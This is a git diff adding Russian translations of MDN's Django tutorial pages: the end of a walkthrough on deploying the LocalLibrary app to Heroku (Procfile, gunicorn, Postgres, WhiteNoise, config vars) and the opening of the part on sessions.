django_local_library.git</pre> + </li> +</ol> + +<p>Последний шаг. Нужно скопировать ваше Django-приложение и добавить его файлы в новый репозиторий, используя git:</p> + +<ol> + <li>Скопируйте ваше приложение в папку репозитория (все файлы с таким же уровнем, как у <strong>manage.py,</strong> <u><strong>БЕЗ </strong>папки проекта, в которой эти файлы находятся</u>).</li> + <li>Откройте файл с расширением <strong>.gitignore </strong>в текстовом редакторе, вставьте в самый его конец строки, приведённые ниже, а затем сохраните (этот файл "говорит" о файлах, которые не должны быть загружены в git по умолчанию). + <pre class="notranslate"># Text backup files +*.bak + +#Database +*.sqlite3</pre> + </li> + <li> + <p>Откройте командную строку или терминал и используйте <code>add</code> команду с флагом <code>-A</code>. Эта комманда сохранит изменения в репозиторий:</p> + + <pre class="brush: bash notranslate"><code>git add -A</code></pre> + </li> + <li>Используйте команду <code>status</code>, что бы убедиться, что все файлы, которые вы собираетесь добавить верны (вы хотите включить исходные файлы, а не бинарные файлы, временные файлы и т. д.). В консоль выведется что то вроде этого: + <pre class="notranslate">> git status +On branch master +Your branch is up-to-date with 'origin/master'. +Changes to be committed: + (use "git reset HEAD <file>..." to unstage) + + modified: .gitignore + new file: catalog/__init__.py + ... + new file: catalog/migrations/0001_initial.py + ... + new file: templates/registration/password_reset_form.html</pre> + </li> + <li>Теперь, зафиксируйте файлы в локальном репозитории: + <pre class="brush: bash notranslate">git commit -m "First version of application moved into github"</pre> + </li> + <li>Синхронизируете свой локальный репозиторий с сайтом Github: + <pre class="notranslate">git push origin master</pre> + </li> +</ol> + +<p>Когда эти операции завершатся, вернитесь на страницу Github где вы создали свой репозиторий, обновите страницу, и убедитесь, что ваше приложение полностью загружено. При надобности обновить файлы на репозитории - повторите цикл ввода команд add/commit/push.</p> + +<div class="note"> +<p><strong>Подсказка:</strong> Это хороший момент для создания резервной копии вашего «ванильного» проекта — в то время как некоторые изменения, которые мы собираемся сделать в следующих разделах, могут быть полезны для развертывания на любой платформе (или разработке), которые другие могут не использовать.</p> + +<p><em>Лучший способ</em> сделать это - использовать <em>git</em> для управления вашими изменениями. С <em>git</em> вы можете не только вернуться к определенной старой версии, но и сохранить ее в отдельной «ветке» ваших производственных изменений, and cherry-pick - выбрать любые изменения для перемещения между ветвями производства и развития. <a href="https://help.github.com/articles/good-resources-for-learning-git-and-github/">Изучение Git</a> будет стоить усилий, но это выходит за рамки данной темы. Самый простой способ сделать это - просто скопировать файлы в другое место. Используйте тот подход, который наилучшим образом соответствует вашим знаниям git!</p> +</div> + +<h3 id="Обновить_приложение_для_Heroku">Обновить приложение для Heroku </h3> + +<p>В этой части говорится об изменениях, которые мы должны сделать на нашем приложении <em>LocalLibrary</em>, что бы оно работало на Heroku. В то время как документация <a dir="ltr" href="https://devcenter.heroku.com/articles/getting-started-with-python" style="color: green;">"начало работы с Heroku с инструкциями Django"</a> предполагает, что вы будете использовать <a href="https://devcenter.heroku.com/articles/getting-started-with-python#set-up">Heroku client</a> для запуска локальной среды разработки, наши изменения здесь совместимы с существующим сервером разработки Django и способами работы, которые мы уже узнали.</p> + +<h4 id="Procfile">Procfile</h4> + +<p> Создайте файл с именем <code>Procfile</code> (без расширения) в корне нашего GitHub репозитории объявить типы процессов и точки входа приложения. Скопируйте в него следующий текст:</p> + +<pre class="notranslate">web: gunicorn locallibrary.wsgi --log-file -</pre> + +<p>«web:» сообщает Heroku, что это веб динамический и может быть отправлен HTTP-трафик. Процесс, который начнется в этом динамически, - это gunicorn, который является популярным сервером веб-приложений, который рекомендует Heroku. Мы запускаем Gunicorn, используя конфигурационную информацию в модуле locallibrary.wsgi (созданный с помощью нашего скелета приложения: /locallibrary/wsgi.py).</p> + +<h4 id="Gunicorn">Gunicorn</h4> + +<p><a href="http://gunicorn.org/">Gunicorn</a> рекомендуемый http сервер с Django на Heroku (Как указанов Procfile выше). Это чистый python http сервер для WSGI приложений которые могут запускать множество параллельных python процессов в пределах одного динамического (посмотрите <a href="https://devcenter.heroku.com/articles/python-gunicorn">Deploying Python applications with Gunicorn</a> для получения большей информации).</p> + +<p>Также нам не понадобится <em>Gunicorn</em> для обслушивания нашей LocalLibrary приложения в течение разработки, мы установим это так, чтобы он стал частью наших требований к Heroku для настройки на удаленном сервере.</p> + +<p>Установка <em>Gunicorn</em> локально в командной строке используя пакетный менеджер <em>pip</em> (которые мы установили когда <a href="/en-US/docs/Learn/Server-side/Django/development_environment">настраивали среду разработки</a>):</p> + +<pre class="brush: bash notranslate">pip3 install gunicorn +</pre> + +<h4 id="Настройка_Базы_Данных">Настройка Базы Данных</h4> + +<p>Мы не можем использовать базу данных SQLite по умолчанию на Heroku, потому что она основана на файлах, и она будет удалена из эфемерной файловой системы каждый раз, когда приложение перезагружается (обычно один раз в день и каждый раз, когда изменяется приложение или его переменные конфигурации ).</p> + +<p>Механизм Heroku для обработки этой ситуации заключается в использовании <a href="https://elements.heroku.com/addons#data-stores">надстройки базы данных</a> и настройке веб-приложения с использованием информации из <a href="https://devcenter.heroku.com/articles/config-vars">переменной конфигурации среды</a>, установленной надстройкой. Существует множество опций базы данных, но мы будем использовать <a href="https://devcenter.heroku.com/articles/heroku-postgres-plans#plan-tiers">hobby уровень</a> в базе данных <em>postgres Heroku</em>, поскольку это бесплатно, поддерживается Django и автоматически добавляется в наши новые приложения Heroku при использовании бесплатного уровня динамического плана для хобби.</p> + +<p>Информация о подключении базы данных предоставляется на web dyno, используя конфигурационную переменную с именем <code>DATABASE_URL</code>. Вместо того, чтобы жестко кодировать эту информацию в Django, Heroku рекомендует разработчикам использовать <a href="https://warehouse.python.org/project/dj-database-url/">dj-database-url</a> пакет для анализа <code>DATABASE_URL</code> переменную окружения и автоматически преобразовать ее в желаемый формат конфигурации Django. В дополнение к установке пакета <em>dj-database-url</em> нам также потребуется установить <a href="http://initd.org/psycopg/">psycopg2</a>, поскольку Django нуждается в этом, чтобы взаимодействовать с базами данных Postgres.</p> + +<h5 id="dj-database-url_Django_конфигурации_базы_данных_из_переменной_окружения">dj-database-url (Django конфигурации базы данных из переменной окружения)</h5> + +<p>Установите dj-database-url локально, чтобы он стал частью наших требований к настройке Heroku на удаленном сервере:</p> + +<pre class="notranslate">$ pip3 install dj-database-url +</pre> + +<h5 id="settings.py">settings.py</h5> + +<p>Откройте /locallibrary/settings.py и скопируйте следующую конфигурацию в нижнюю часть файла:</p> + +<pre class="notranslate"># Heroku: Update database configuration from $DATABASE_URL. +import dj_database_url +db_from_env = dj_database_url.config(conn_max_age=500) +DATABASES['default'].update(db_from_env)</pre> + +<div class="note"> +<p><strong>Заметка:</strong></p> + +<ul> + <li>Мы все еще будем использовать SQLite во время разработки, поскольку <code>DATABASE_URL</code> переменная среды не будет установлена на нашем компьютере разработки.</li> + <li>Значение <code>conn_max_age=500</code> делает соединение постоянным, что намного эффективнее, чем воссоздавать соединение в каждом цикле запросов. Однако это необязательно и при необходимости можно удалить.</li> +</ul> +</div> + +<h5 id="psycopg2_Python_Postgres_database_support">psycopg2 (Python Postgres database support)</h5> + +<p>Django нуждается в psycopg2 для работы с базами данных Postgres, и вам нужно будет добавить это в файл требований.txt для Heroku, чтобы установить это на удаленном сервере (как описано в разделе требований ниже).</p> + +<p>Django будет использовать нашу базу данных SQLite локально по умолчанию, поскольку переменная среды DATABASE_URL не задана в нашей локальной среде. Если вы хотите полностью перейти на Postgres и использовать нашу бесплатную базу данных Heroku для разработки и производства, то вы можете. Например, чтобы установить psycopg2 и его зависимости локально в системе на базе Linux, вы должны использовать следующие команды bash / terminal:</p> + +<pre class="brush: bash notranslate"><code>sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib</code> +pip3 install psycopg2 +</pre> + +<p>Инструкции по установке для других платформ можно найти на веб-сайте psycopg2.</p> + +<p>Однако вам не нужно это делать - вам не нужно, чтобы PostGreSQL был активным на локальном компьютере, если вы передаете его в Heroku в качестве требования в файле требований.txt (см. Ниже).</p> + +<h4 id="Обслуживание_статических_файлов_в_производстве"><strong>Обслуживание статических файлов в производстве</strong></h4> + +<p><br> + Во время разработки мы использовали Django и веб-сервер разработки Django для обслуживания наших статических файлов (CSS, JavaScript и т. Д.). В производственной среде вместо этого мы обычно обслуживаем статические файлы из сети доставки контента (CDN) или веб-сервера.</p> + +<div class="note"> +<p><strong>Примечание. </strong>Обслуживание статических файлов через Django / веб-приложение неэффективно, потому что запросы должны проходить через ненужный дополнительный код (Django), а не обрабатываться непосредственно веб-сервером или полностью отдельным CDN. Хотя это не имеет значения для местного использования во время разработки, это будет иметь значительное влияние на производительность, если мы будем использовать тот же подход в производстве.</p> +</div> + +<p>Чтобы упростить размещение статических файлов отдельно от веб-приложения Django, Django предоставляет средство сбора данных для сбора этих файлов для развертывания (имеется переменная параметров, определяющая, где файлы должны собираться при запуске collectstatic). Шаблоны Django относятся к месту размещения статических файлов относительно переменной параметров (STATIC_URL), так что это можно изменить, если статические файлы перемещаются на другой хост / сервер.</p> + +<p>Соответствующими параметрами настройки являются:</p> + +<p> STATIC_URL: это базовое расположение URL, из которого будут загружены статические файлы, например, на CDN. Это используется для переменной статического шаблона, доступ к которой осуществляется в нашем базовом шаблоне (см. Учебник по Django Part 5: Создание нашей домашней страницы).<br> + STATIC_ROOT: Это абсолютный путь к каталогу, в котором инструмент «collectstatic» Django будет собирать любые статические файлы, упомянутые в наших шаблонах. После их сбора они затем могут быть загружены в группу, где бы файлы не размещались.<br> + STATICFILES_DIRS: В этом списке перечислены дополнительные каталоги, в которых инструмент коллективного поиска Django должен искать статические файлы.</p> + +<h5 id="settings.py_2">settings.py</h5> + +<p>Откройте /locallibrary/settings.py и скопируйте следующую конфигурацию в нижнюю часть файла. BASE_DIR уже должен быть определен в вашем файле (STATIC_URL, возможно, уже был определен в файле, когда он был создан. В то время как это не причинит вреда, вы также можете удалить дублируемую предыдущую ссылку).</p> + +<pre class="notranslate"># Static files (CSS, JavaScript, Images) +# https://docs.djangoproject.com/en/1.10/howto/static-files/ + +# The absolute path to the directory where collectstatic will collect static files for deployment. +STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles') + +# The URL to use when referring to static files (where they will be served from) +STATIC_URL = '/static/' +</pre> + +<p>Фактически мы будем делать файл, используя библиотеку WhiteNoise, которую мы устанавливаем и настраиваем в следующем разделе.</p> + +<p>Для получения дополнительной информации см. Django и Static Assets (документы Heroku).</p> + +<p><strong>WhiteNoise</strong><br> + Существует множество способов обслуживания статических файлов на производстве (мы видели соответствующие настройки Django в предыдущих разделах). Heroku рекомендует использовать проект WhiteNoise для обслуживания статических активов непосредственно из Gunicorn в производстве.</p> + +<div class="note"> +<p><strong>Заметка: </strong>Heroku автоматически вызывает collectstatic и готовит ваши статические файлы для использования WhiteNoise после того, как он загрузит ваше приложение. Посмотрите <a href="https://warehouse.python.org/project/whitenoise/">WhiteNoise</a> документацию для объяснения того, как она работает, и почему реализация является относительно эффективным методом для обслуживания этих файлов.</p> +</div> + +<p>Шаги по настройке <em>WhiteNoise</em> для использования в проекте:</p> + +<h5 id="WhiteNoise">WhiteNoise</h5> + +<p>Установите <em>WhiteNoise</em> локально, используя следующую команду:</p> + +<pre class="notranslate">$ pip3 install whitenoise +</pre> + +<h5 id="settings.py_3">settings.py</h5> + +<p>Чтобы установить WhiteNoise в приложение Django, откройте /locallibrary/settings.py, найдите параметр MIDDLEWARE и добавьте WhiteNoiseMiddleware в верхней части списка, чуть ниже SecurityMiddleware:</p> + +<pre class="notranslate">MIDDLEWARE = [ + 'django.middleware.security.SecurityMiddleware', + <strong>'whitenoise.middleware.WhiteNoiseMiddleware',</strong> + 'django.contrib.sessions.middleware.SessionMiddleware', + 'django.middleware.common.CommonMiddleware', + 'django.middleware.csrf.CsrfViewMiddleware', + 'django.contrib.auth.middleware.AuthenticationMiddleware', + 'django.contrib.messages.middleware.MessageMiddleware', + 'django.middleware.clickjacking.XFrameOptionsMiddleware', +] +</pre> + +<p>При желании вы можете уменьшить размер статических файлов при их обслуживании (это более эффективно). Просто добавьте следующее в конец /locallibrary/settings.py:</p> + +<pre class="notranslate"># Simplified static file serving. +# https://warehouse.python.org/project/whitenoise/ +STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' +</pre> + +<h4 id="Requirements">Requirements</h4> + +<p>Требования Python вашего веб-приложения должны храниться в файле requirements.txt в корневом каталоге вашего репозитория. После этого Heroku автоматически установит их при восстановлении вашей среды. Вы можете создать этот файл с помощью pip в командной строке (запустите в корне repo):</p> + +<pre class="brush: bash notranslate">pip3 freeze > requirements.txt</pre> + +<p>После установки всех разных зависимостей выше, файл requirements.txt должен иметь <em>по меньшей мере</em> эти перечисленные элементы (хотя номера версий могут отличаться). Удалите любые другие зависимости, не перечисленные ниже, если вы явно не добавили их для этого приложения.</p> + +<pre class="notranslate">dj-database-url==0.4.1 +Django==1.10.2 +gunicorn==19.6.0 +<strong>psycopg2==2.6.2</strong> +whitenoise==3.2.2 +</pre> + +<div class="note"> +<p>Убедитесь, что строка <strong>psycopg2</strong>, подобная приведенной выше, присутствует! Даже если вы не установили это локально, вы должны добавить это в <strong>requirements.txt</strong>.</p> +</div> + +<h4 id="Среда_выполнения">Среда выполнения</h4> + +<p>Файл <strong>runtime.txt</strong>, если определён, говорит Heroku, какой язык программирования использовать. Создайте файл в корне репо и добавьте следующий текст:</p> + +<pre class="notranslate">python-3.5.2</pre> + +<div class="note"> +<p><strong>Заметка:</strong> Heroku поддерживает только небольшое количество <a href="https://devcenter.heroku.com/articles/python-support#supported-python-runtimes">Python runtimes</a>. (на момент написания статьи, в том числе и выше). Heroku будет использовать поддерживаемую среду выполнения независимо от значения, указанного в этом файле.</p> +</div> + +<h4 id="Сохраните_изменения_в_Github_и_перепроверьте">Сохраните изменения в Github и перепроверьте</h4> + +<p>Далее мы сохраним все наши изменения в Github. В терминале (whist внутри нашего репозитория) введите следующие команды:</p> + +<pre class="brush: python notranslate">git add -A +git commit -m "Added files and changes required for deployment to heroku" +git push origin master</pre> + +<p>Прежде чем продолжить, дайте возможность проверить сайт снова локально и убедиться, что это не повлияло ни на одно из наших изменений выше. Запустите веб-сервер разработки как обычно, а затем проверьте, работает ли сайт, как вы ожидаете в своем браузере.</p> + +<pre class="brush: bash notranslate">python3 manage.py runserver</pre> + +<p>Теперь мы должны быть готовы начать развертывание LocalLibrary на Heroku.</p> + +<h3 id="Получить_аккаунт_в_heroku">Получить аккаунт в heroku</h3> + +<p>Чтобы начать использовать Heroku, вам сначала нужно создать учетную запись:</p> + +<ul> + <li>Перейдите <a href="https://www.heroku.com/">www.heroku.com</a> и нажмите <strong>SIGN UP FOR FREE</strong> кнопку.</li> + <li>Введите ваши данные, а затем нажмите <strong>CREATE FREE ACCOUNT</strong>. Вам будет предложено проверить свою учетную запись по адресу электронной почты для регистрации.</li> + <li>Нажмите ссылку активации учетной записи в электронной почте для регистрации. Вы вернетесь в свою учетную запись в веб-браузере.</li> + <li>Введите свой пароль и нажмите <strong>SET PASSWORD AND LOGIN</strong>.</li> + <li>Затем вы войдете в систему и попадете в приборную панель Heroku: <a href="https://dashboard.heroku.com/apps">https://dashboard.heroku.com/apps</a>.</li> +</ul> + +<h3 id="Установка_клиента">Установка клиента</h3> + +<p>Загрузите и установите клиент Heroku, следуя <a href="https://devcenter.heroku.com/articles/getting-started-with-python#set-up">инструкциям Heroku </a>здесь.</p> + +<p>После установки клиента вам будут дотупны команды. Например, чтобы получить справку о клиенте:</p> + +<pre class="brush: bash notranslate">heroku help +</pre> + +<h3 id="Создание_и_загрузка_веб-сайта">Создание и загрузка веб-сайта</h3> + +<p>Чтобы создать приложение, мы запускаем команду «create» в корневом каталоге нашего репозитория. Это создает git remote («указатель на удаленный репозиторий»), названный heroku в нашей локальной среде git.</p> + +<pre class="brush: bash notranslate">heroku create</pre> + +<div class="note"> +<p><strong>Заметка:</strong> Вы можете назвать удаленный, если хотите, указав значение после «create». Если вы этого не сделаете, вы получите случайное имя. Имя используется в URL-адресе по умолчанию.</p> +</div> + +<p>Затем мы можем подтолкнуть наше приложение в репозиторий heroku как показано ниже. Это позволит загрузить приложение, упаковать его в dyno, запустить collectstatic, и запустить сам сайт.</p> + +<pre class="brush: bash notranslate">git push heroku master</pre> + +<p>Если нам повезет, приложение «заработает» на сайте, но оно не будет работать должным образом, потому что мы не настроили таблицы базы данных для использования нашим приложением. Для этого нам нужно использовать команду <code>heroku run</code> и запустить "<a href="https://devcenter.heroku.com/articles/deploying-python#one-off-dynos">one off dyno</a>" для выполнения операции переноса. Введите в терминал следующую команду:</p> + +<pre class="brush: bash notranslate">heroku run python manage.py migrate</pre> + +<p>Мы также должны будем иметь возможность добавлять книги и авторов, поэтому давайте также создадим суперпользователя, снова используя одноразовый динамический режим:</p> + +<pre class="brush: bash notranslate">heroku run python manage.py createsuperuser</pre> + +<p>Как только это будет завершено, мы можем посмотреть сайт. Он должен работать, хотя в нем еще нет книг. Чтобы открыть браузер на новом веб-сайте, используйте команду:</p> + +<pre class="brush: bash notranslate">heroku open</pre> + +<p>Создайте несколько книг на сайте администратора и проверьте, работает ли сайт, как вы ожидаете.</p> + +<h3 id="Управление_аддонами">Управление аддонами</h3> + +<p>Вы можете проверить дополнения в своем приложении, используя <code>heroku addons</code> команду. Это будет список всех аддонов, их ценовая категория и состояние.</p> + +<pre class="brush: bash notranslate">>heroku addons + +Add-on Plan Price State +───────────────────────────────────────── ───────── ───── ─────── +heroku-postgresql (postgresql-flat-26536) hobby-dev free created + └─ as DATABASE</pre> + +<p>Здесь мы видим, что у нас есть только одна надстройка, база данных postgres SQL. Это бесплатно и автоматически создается при создании приложения. Вы можете открыть веб-страницу, чтобы более подробно изучить надстройку базы данных (или любое другое дополнение), используя следующую команду:</p> + +<pre class="brush: bash notranslate">heroku addons:open heroku-postgresql +</pre> + +<p>Другие команды позволяют создавать, уничтожать, обновлять и понижать аддоны (используя аналогичный синтаксис для открытия). Для получения дополнительной информации см. <a href="https://devcenter.heroku.com/articles/managing-add-ons">Managing Add-ons</a> (Heroku docs).</p> + +<h3 id="Настройка_переменных_конфигурации">Настройка переменных конфигурации</h3> + +<p>Вы можете проверить конфигурационные переменные для сайта, используя команду <code>heroku config</code>. Ниже вы можете видеть, что у нас есть только одна переменная <code>DATABASE_URL</code> , используемая для настройки нашей базы данных.</p> + +<pre class="brush: bash notranslate">>heroku config + +=== locallibrary Config Vars +DATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3</pre> + +<p>Если вы вспомните из раздела, посвященного <a href="#Getting_your_website_ready_to_publish">getting the website ready to publish</a>, мы должны установить переменные среды для <code>DJANGO_SECRET_KEY</code> и <code>DJANGO_DEBUG</code>. Давайте сделаем это сейчас.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Секретный ключ должен быть действительно секретным! Один из способов генерации нового ключа - создать новый проект Django (<code>django-admin startproject someprojectname</code>) а затем получить ключ, который генерируется для вас в его <strong>settings.py</strong>.</p> +</div> + +<p>Мы устанавливаем <code>DJANGO_SECRET_KEY</code> используя команду <code>config:set</code> (как показано ниже). Не забудьте использовать свой секретный ключ!</p> + +<pre class="brush: bash notranslate">>heroku config:set DJANGO_SECRET_KEY=eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh&= + +Setting DJANGO_SECRET_KEY and restarting locallibrary... done, v7 +DJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh +</pre> + +<p>Аналогично мы устанавливаем <code>DJANGO_DEBUG</code>:</p> + +<pre class="brush: bash notranslate">>heroku config:set <code>DJANGO_DEBUG='' + +Setting DJANGO_DEBUG and restarting locallibrary... done, v8</code></pre> + +<p>Если вы посетите веб-сайт сейчас, вы получите ошибку "Bad request" , потому что в <a href="https://docs.djangoproject.com/en/1.10/ref/settings/#allowed-hosts">ALLOWED_HOSTS</a> надо внести параметры, если у вас <code>DEBUG=False</code> (в качестве меры безопасности). Откройте <strong>/locallibrary/settings.py</strong> и измените <code>ALLOWED_HOSTS</code> для включения вашего базового URL-адреса приложения (например, 'locallibrary1234.herokuapp.com') URL, который вы обычно используете на локальном сервере разработки.</p> + +<pre class="brush: python notranslate">ALLOWED_HOSTS = ['<your app URL without the https:// prefix>.herokuapp.com','127.0.0.1'] +# For example: +# ALLOWED_HOSTS = ['fathomless-scrubland-30645.herokuapp.com','127.0.0.1'] +</pre> + +<p>Затем сохраните настройки и передайте их в репозиторий Github и в Heroku:</p> + +<pre class="brush: bash notranslate">git add -A +git commit -m 'Update ALLOWED_HOSTS with site and development server URL' +git push origin master +git push heroku master</pre> + +<div class="note"> +<p>После завершения обновления сайта на Heroku введите URL-адрес, который не существует (например, <strong>/catalog/doesnotexist/</strong>). Раньше это отображало бы подробную страницу отладки, но теперь вы должны просто увидеть простую страницу «Не найдено».</p> +</div> + +<h3 id="Отладка">Отладка</h3> + +<p>Клиент Heroku предоставляет несколько инструментов для отладки:</p> + +<pre class="brush: bash notranslate">heroku logs # Show current logs +heroku logs --tail # Show current logs and keep updating with any new results +heroku config:set DEBUG_COLLECTSTATIC=1 # Add additional logging for collectstatic (this tool is run automatically during a build) +heroku ps #Display dyno status +</pre> + +<p>Если вам нужно больше информации, предоставленной здесь, вам нужно будет начать изучать <a href="https://docs.djangoproject.com/en/1.10/topics/logging/">Django Logging</a>.</p> + +<ul> +</ul> + +<h2 id="Итоги">Итоги</h2> + +<p>Это конец этого руководства по настройке и развёртывании приложений Django, а также серия руководств по работе с Django. Надеемся, вы нашли их полезными. Вы можете проверить полностью проработанную версию <a href="https://github.com/mdn/django-locallibrary-tutorial">по исходникам на Github</a>.<br> + Следующий шаг - прочитать наши последние несколько статей, а затем завершить оценочную задачу.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/">Развёртывание Django</a> (Django docs) + + <ul> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/">Контрольный список развёртывания</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/static-files/deployment/">Развёртывание статических файлов</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/">Как развернуть с WSGI</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/modwsgi/">Как использовать Django с Apache и mod_wsgi</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/gunicorn/">Как использовать Django с Gunicorn</a> (Django docs)</li> + </ul> + </li> + <li>Heroku + <ul> + <li><a href="https://devcenter.heroku.com/articles/django-app-configuration">Настройка Django приложений для Heroku</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Начало работы в Heroku с Django</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/django-assets">Django and Static Assets</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/python-concurrency-and-database-connections">Параллелизм и подключение к базе данных в Django</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/how-heroku-works">Как Heroku работает</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/dynos">Dynos and the Dyno Manager</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/config-vars">Настройка и Config Vars</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/limits">Ограничения</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/python-gunicorn">Развёртывание Python applications с Gunicorn</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/articles/deploying-python">Развёртывание Python и Django apps в Heroku</a> (Heroku docs)</li> + <li><a href="https://devcenter.heroku.com/search?q=django">Ещё о Heroku Django docs</a></li> + </ul> + </li> + <li>Digital Ocean + <ul> + <li><a href="https://www.digitalocean.com/community/tutorials/how-to-serve-django-applications-with-uwsgi-and-nginx-on-ubuntu-16-04">Как обслуживать Django Applications вместе с uWSGI и Nginx в Ubuntu 16.04</a></li> + <li><a href="https://www.digitalocean.com/community/tutorials?q=django">Другие документы Digital Ocean Django</a></li> + </ul> + </li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</p> + +<h2 id="В_этом_модуле">В этом модуле</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/ru/learn/server-side/django/сессии/index.html b/files/ru/learn/server-side/django/сессии/index.html new file mode 100644 index 0000000000..5f7d492c72 --- /dev/null +++ b/files/ru/learn/server-side/django/сессии/index.html @@ -0,0 +1,181 @@ +--- +title: 'Руководство часть 7: Сессии' +slug: Learn/Server-side/Django/Сессии +tags: + - django + - Джанго + - Для начинающих + - Изучение + - Питон + - Руководство + - Серверная сторона + - Статья + - применение сессий + - сессии +translation_of: Learn/Server-side/Django/Sessions +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}</div> + +<p class="summary">Эта часть раширяет наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя счетчик посещений домашней страницы, реализованного при помощи сессий. Это относительно простой пример, но он демонстрирует то, как при помощи сессий реализовать анализ поведения анонимных пользователей на сайте.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Завершить изучение всех предыдущих разделов, включая <a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Руководство Часть 6: Обобщенные отображения списков и детальной информации</a></td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понимать как применять сессии.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>В предыдущих частях мы создали сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, который позволяет пользователям получать из каталога списки книг и авторов. На данный момент каждый посетитель сайта получает доступ к одним и тем же страницам и типам информации динамически сформированными из базы данных.</p> + +<p>В "настоящей" библиотеке вам хотелось бы предоставить пользователю индивидуальные услуги, которые зависят от его предпочтений и предыдущего опыта использования сайта, его настроек и тому подобное. Например, при очередном посещении сайта вы можете скрыть сообщения об ошибках для тех пользователей, которые их уже получали, или сохранить и учитывать пользовательские настройки (например, количество выводимых данных на странице как результат какого-либо поиска). </p> + +<p>Сессии позволяют вам реализовать такой род функциональности, который позволит вам хранить и получать произвольные данные, полученные на основе индивидуального поведения пользователя на сайте.</p> + +<h2 id="Что_такое_сессии">Что такое сессии?</h2> + +<p>Все взаимодействия между браузерами и серверами осуществляются при помощи протокола HTTP, который не сохраняет свое состояние (<em>stateless)</em>. Данный факт означает, что сообщения между клиентом и сервером являются полностью независимыми один от другого — то есть не существует какого-либо представления "последовательности", или поведения в зависимости от предыдущих сообщений. В результате, если вы хотите создать сайт который будет отслеживать взаимодействие с клиентом (браузером), вам нужно реализовать это самостоятельно.</p> + +<p>Сессии являются механизмом, который использует Django (да и весь остальной "Интернет") для отслеживания "состояния" между сайтом и каким-либо браузером. Сессии позволяют вам хранить произвольные данные браузера и получать их в тот момент, когда между данным браузером и сайтом устанавливается соединение. Данные получаются и сохраняются в сессии при помощи соответствующего "ключа".</p> + +<p>Django использует куки (cookie), которые содержат специальный <em>идентификатор сессии,</em> который выделяет среди остальных, каждый браузер и соответствующую сессию. Реальные <em>данные</em> сессии, по умолчанию, хранятся в базе данных сайта (это более безопасно, чем сохранять данные в куки, где они могут быть уязвими для злоумышленников). Однако, у вас есть возможность настроить Django так, чтобы сохранять данные 